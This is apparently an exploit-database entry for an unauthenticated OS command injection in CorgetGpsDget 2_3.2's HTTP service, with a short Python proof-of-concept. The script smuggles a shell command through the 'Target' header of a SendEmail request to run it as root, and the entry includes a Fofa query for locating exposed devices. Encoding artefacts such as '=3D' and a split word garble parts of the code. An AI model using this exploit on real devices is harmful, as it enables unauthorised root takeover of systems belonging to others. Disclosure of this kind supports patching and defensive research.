# Exploit Title: CorgetGpsDget 2_3.2 - OS Command Injection # Date: 2026-07-05 # Exploit Author: Bytetobreach # Fofa server: "PTTServer" # Vendor Homepage: http://corget.com # Version: GpsDget 2_3.2, build 2020-09-01 (dget.version); product line Gps2.0 # Tested on Ubuntu. Binary reversed on Ghidra Debian. # Sink is in http/HttpHandler.cpp CHttpHandler::SendEmail # CVE: pending (requested) # # Description: # HTTP service (Server: PTTServer) unauthenticated handler reachable by SendEmail # method request header. The "Target" header recipient # header is unsafly concatenated into a system() call: # system("echo ''|mail -r 'service@corget.com' -s '' "); # A Target value such as `x;;` injects unauthenticated arbitrary OS commands # executed as root. # Example: python3 corget.py TARGET:7777 'id > /data/rce' # HTTP/1.0 200 Ok # Server: PTTServer # Content-Length: 0 # curl TARGET:13001/rce # uid=0(root) gid=0(root) 组=0(root) import socket, sys host, port =3D sys.argv[1].split(':') cmd =3D sys.argv[2] if len(sys.argv) > 2 else 'id > /data/pwn' req =3D f"POST / HTTP/1.0\r\nMethod: SendEmail\r\nTarget: x;{cmd};\r\nConte= nt-Length: 3\r\n\r\na&b" s =3D socket.socket() s.connect((host, int(port))) s.send(req.encode()) print(s.recv(4096).decode(errors=3D'replace'))